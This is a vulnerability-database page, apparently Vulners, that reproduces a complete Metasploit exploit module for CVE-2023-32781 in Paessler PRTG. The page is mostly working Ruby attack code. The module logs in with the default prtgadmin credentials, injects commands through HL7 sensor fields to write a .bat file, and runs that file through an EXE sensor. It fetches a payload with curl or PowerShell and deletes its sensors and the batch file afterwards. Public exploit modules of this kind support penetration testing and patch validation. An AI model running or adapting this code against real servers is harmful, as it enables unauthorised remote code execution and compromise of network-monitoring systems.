Lucene search

K

PRTG CVE-2023-32781 Authenticated RCE

🗓️ 23 Nov 2023 18:02:28Reported by Kevin Joensen <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 208 Views

PRTG authenticated RCE in Paessler PRTG. Authenticated against PRTG, runs exploit, and deletes sensors.

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Related
Code
ReporterTitlePublishedViews
Family
Prion
Command injection
9 Aug 202312:15
prion
CVE
CVE-2023-32781
9 Aug 202312:15
cve
Cvelist
CVE-2023-32781
9 Aug 202300:00
cvelist
NVD
CVE-2023-32781
9 Aug 202312:15
nvd
Packet Storm
PRTG Authenticated Remote Code Execution
23 Jan 202400:00
packetstorm
0day.today
PRTG Authenticated Remote Code Execution Exploit
24 Jan 202400:00
zdt
Rapid7 Blog
Metasploit Weekly Wrap-Up 01/26/24
26 Jan 202421:12
rapid7blog
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Retry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',
        'Description' => %q{
          Authenticated RCE in Paessler PRTG
        },
        'License' => MSF_LICENSE,
        'Author' => ['Kevin Joensen <kevin[at]baldur.dk>'],
        'References' => [
          [ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],
          [ 'CVE', '2023-32781']
        ],
        'DisclosureDate' => '2023-08-09',
        'Platform' => 'win',
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
              'Type' => :win_fetch
            }
          ],
          [
            'Windows_CMDStager',
            {
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Platform' => 'win',
              'Type' => :win_cmdstager,
              'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]
            }
          ]
        ],
        'DefaultTarget' => 0,

        'DefaultOptions' => {},
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'USERNAME',
          [ true, 'The username to authenticate with', 'prtgadmin' ]
        ),
        OptString.new(
          'PASSWORD',
          [ true, 'The password to authenticate with', 'prtgadmin' ]
        ),
        OptString.new(
          'TARGETURI',
          [ true, 'The URI for the PRTG web interface', '/' ]
        )
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(datastore['URI'], '/index.htm')
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    ensure
      disconnect
    end

    if res && res.code == 200
      prtg_server_header = res.headers['Server']

      if (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')
        return CheckCode::Detected
      end
    end

    return CheckCode::Unknown
  end

  def exploit
    @sensors_to_delete = []

    connect
    case target['Type']
    when :win_cmdstager
      execute_cmdstager
    when :win_fetch
      execute_command(payload.encoded)
    end
  end

  def on_new_session(client)
    super
    @sensors_to_delete.each do |sensor_id|
      delete_sensor_by_id(sensor_id)
    end
    print_good('Session created')
  end

  def execute_command(cmd, _opts = {})
    print_status('Running PRTG RCE exploit')
    authenticate_prtg
    bat_file_name = write_bat_file_to_disk(cmd)
    run_bat_file_from_disk(bat_file_name)
    print_status('Exploit done')
    handler
  end

  def authenticate_prtg
    print_status('Authenticating against PRTG')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'public', 'checklogin.htm'),
      'keep_cookies' => true,
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })
    unless res
      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
    end
    if res && res.code == 302 && res.get_cookies
      print_good('Successfully authenticated against PRTG')
    else
      fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')
    end
  end

  def get_csrf_token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'welcome.htm'),
      'keep_cookies' => true
    })

    if res.nil? || res.body.nil?
      fail_with(Failure::NoAccess, 'Page with CSRF token not available')
    end

    regex = /csrf-token" content="([^"]+)"/
    token = res.body[regex, 1]

    print_status("Extracted csrf token: #{token}")
    token
  end

  def delete_sensor_by_id(sensor_id)
    print_status("Deleting sensor #{sensor_id}")
    csrf_token = get_csrf_token

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'deleteobject.htm'),
      'keep_cookies' => true,
      'headers' => {
        'anti-csrf-token' => csrf_token,
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        id: sensor_id,
        approve: 1
      }
    })

    if res.nil? || res.body.nil?
      fail_with(Failure::NoAccess, 'Sensor deletion failed')
    end
  end

  def get_created_sensor_id(sensor_name)
    print_status('Fetching created sensor id')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'controls', 'deviceoverview.htm'),
      'keep_cookies' => true,
      'vars_get' => {
        'id' => 40
      }
    })

    if res.nil? || res.body.nil?
      fail_with(Failure::NoAccess, 'Page with sensorid not available')
    end

    regex = /id=([0-9]+)">#{sensor_name}/
    sensor_id = res.body[regex, 1]

    print_status("Extracted sensor_id: #{sensor_id}")
    sensor_id
  end

  def run_sensor_with_id(sensor_id)
    csrf_token = get_csrf_token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'scannow.htm'),
      'keep_cookies' => true,
      'headers' => {
        'anti-csrf-token' => csrf_token,
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        id: sensor_id
      }
    })

    if res && res.code == 200
      print_good('Sensor started running')
    else
      fail_with(Failure::NoAccess, 'Failure to run sensor')
    end
  end

  def write_bat_file_to_disk(cmd)
    # Uses the HL7Sensor for writing a .bat file to the disk
    cmd = cmd.gsub! '\\', '\\\\\\'
    print_status('Writing .bat to disk')

    csrf_token = get_csrf_token

    # Generate a random sensor name
    sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
    bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"

    # Clean up the .bat file
    cmd = "#{cmd} & del %0"

    print_status("Generated sensor_name #{sensor_name}")
    print_status("Generated bat_file_name #{bat_file_name}")

    params = {
      'name_' => sensor_name,
      'parenttags_' => '',
      'tags_' => 'dicom hl7',
      'priority_' => '3',
      'port_' => '104',
      'timeout_' => '60',
      'override_' => '0',
      'sendapp_' => Rex::Text.rand_text_alphanumeric(4..5),
      'sendfac_' => Rex::Text.rand_text_alphanumeric(4..5),
      'recvapp_' => Rex::Text.rand_text_alphanumeric(4..5),
      'recvfac_' => "#{Rex::Text.rand_text_alphanumeric(4..5)}\" -debug=\"..\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"#{Rex::Text.rand_text_alphanumeric(4..5)}",
      'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",
      'hl7filename' => '',
      'intervalgroup' => ['0', '1'],
      'interval_' => '60|60 seconds',
      'errorintervalsdown_' => '1',
      'inherittriggers' => '1',
      'id' => '40',
      'sensortype' => 'hl7',
      'tmpid' => '2',
      'anti-csrf-token' => csrf_token
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),
      'keep_cookies' => true,
      'vars_post' => params
    })

    unless res
      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
    end

    if res && res.code == 302
      print_good('HL7 Sensor succesfully created')
    else
      fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')
    end
    # Actually creating the sensor can take 1-2 seconds
    print_status('Checking for sensor creation')
    sensor_id = retry_until_truthy(timeout: 10) do
      get_created_sensor_id(sensor_name)
    end

    print_status('Requesting HL7 Sensor to initiate scan')

    run_sensor_with_id(sensor_id)
    @sensors_to_delete.push(sensor_id)

    print_good('.bat file written to disk')
    bat_file_name
  end

  def run_bat_file_from_disk(bat_file_name)
    print_status("Running the .bat file: #{bat_file_name}")
    csrf_token = get_csrf_token
    sensor_name = Rex::Text.rand_text_alphanumeric(8..10)

    params = {
      'name_' => sensor_name,
      'parenttags_' => '',
      'tags_' => 'exesensor',
      'priority_' => '3',
      'scriptplaceholdergroup' => '1',
      'scriptplaceholder1description_' => '',
      'scriptplaceholder1_' => '',
      'scriptplaceholder2description_' => '',
      'scriptplaceholder2_' => '',
      'scriptplaceholder3description_' => '',
      'scriptplaceholder3_' => '',
      'scriptplaceholder4description_' => '',
      'scriptplaceholder4_' => '',
      'scriptplaceholder5description_' => '',
      'scriptplaceholder5_' => '',
      'exefile_' => "#{bat_file_name}|#{bat_file_name}||",
      'exefilelabel' => '',
      'exeparams_' => '',
      'environment_' => '0',
      'usewindowsauthentication_' => '0',
      'mutexname_' => '',
      'timeout_' => '60',
      'valuetype_' => '0',
      'channel_' => 'Value',
      'unit_' => '#',
      'monitorchange_' => '0',
      'writeresult_' => '0',
      'intervalgroup' => '0',
      'interval_' => '43200|12 hours',
      'errorintervalsdown_' => '1',
      'inherittriggers' => '1',
      'id' => '40',
      'sensortype' => 'exe',
      'tmpid' => '6',
      'anti-csrf-token' => csrf_token
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),
      'keep_cookies' => true,
      'vars_post' => params
    })

    unless res
      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
    end

    if res && res.code == 302
      print_status('EXE Script sensor created')
    else
      fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')
    end

    print_status('Checking for sensor creation')

    sensor_id = retry_until_truthy(timeout: 10) do
      get_created_sensor_id(sensor_name)
    end
    run_sensor_with_id(sensor_id)
    @sensors_to_delete.push(sensor_id)
    print_good('Exploit completed. Waiting for payload')
  end
end

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
23 Nov 2023 18:28Current
7.3High risk
Vulners AI Score7.3
CVSS37.2
EPSS0.35814
208
.json
Report